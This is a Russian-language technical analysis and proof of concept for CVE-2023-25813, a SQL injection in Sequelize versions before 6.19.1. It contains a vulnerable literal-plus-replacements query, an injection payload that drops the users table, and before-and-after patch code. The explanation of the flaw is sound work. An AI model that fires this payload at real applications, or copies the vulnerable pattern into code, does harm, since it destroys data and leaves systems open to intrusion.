
Proof-of-concept и технический анализ CVE-2023-25813, уязвимости SQL-инъекции в Sequelize ORM версиях до 6.19.1, включая детали эксплуатации и информацию о патче.
replacements, должным образом не экранируются, что может привести к SQL-инъекции при определённой структуре запроса.Sequelize — это одна из библиотек ORM (Object-Relational Mapping) для Node.js. ORM — технология, автоматизирующая взаимное преобразование между объектами и реляционными базами данных, позволяя запрашивать, создавать, изменять и удалять записи в базе данных через объекты без написания SQL-запросов вручную.
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
replacements — это механизм привязки в Sequelize для безопасного внедрения пользовательских входных данных в SQL при использовании необработанных SQL-запросов или методов ORM. Он используется как основное средство предотвращения SQL-инъекций.
// Позиционная привязка
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
replacements: ['active'],
});
// Привязка по ключу
await sequelize.query(
'SELECT * FROM users WHERE name = :name AND age = :age',
{
replacements: {
name: 'Alice',
age: 25
}
}
);
Sequelize предоставляет опцию replacements для безопасной привязки пользовательских входных данных к SQL. Однако в версиях Sequelize ниже 6.19.1 при использовании методов ORM, несмотря на привязку через replacements, из-за проблемы в порядке внутреннего создания SQL и подстановки может возникнуть SQL-инъекция.
Ниже приведён пример кода Sequelize, в котором проявляется уязвимость. SQL-инъекция может возникнуть при совместном использовании literal и replacements.
User.findAll({
where: or(
literal('soundex("firstName") = soundex(:firstName)'),
{ lastName: lastName },
),
replacements: { firstName },
})
Атакующий может разрушить структуру запроса, внедрив в replacements следующие входные данные:
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}
Это структура, где ключ replacements (:firstName) снова вставляется в значение, добавляя ключ привязки ещё раз.
SELECT * FROM users
WHERE soundex("firstName") = soundex(:firstName)
OR "lastName" = ':firstName'
Итоговый запрос выглядит следующим образом. Однако этот запрос по своей структуре трудно однозначно определить, будет ли он выполнен, и результат может различаться в зависимости от интерпретации SQL-парсера и настроек БД. В некоторых средах он может быть обработан как простая синтаксическая ошибка, но в зависимости от настроек существует риск выполнения непреднамеренных SQL-команд.
SELECT * FROM users
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;')
OR "lastName" = ''OR true; DROP TABLE users;''
Если среда позволяет SQL-парсеру выполнять множественные запросы, то с помощью одной привязки можно удалить таблицу.

Sequelize считает строку внутри функции literal доверенным фрагментом SQL и не экранирует её. Следовательно, эта строка вставляется в SQL-запрос как есть, и даже если внутри остаётся :param, он остаётся без обработки. Как показано ниже, replacements заменяет оставшиеся токены :param после того, как SQL уже полностью собран в виде строки, непосредственно перед выполнением. Поэтому пользовательский ввод вставляется в уже окончательно сформированный SQL, из-за чего вся структура запроса нарушается и возникает уязвимость.
// sequelize-6.19.0/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
}
Была определена функция injectReplacements, которая разрешает привязку только в синтаксически безопасных местах.
// sequelize-6.19.1/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
sql = injectReplacements(sql, this.dialect, options.replacements);
}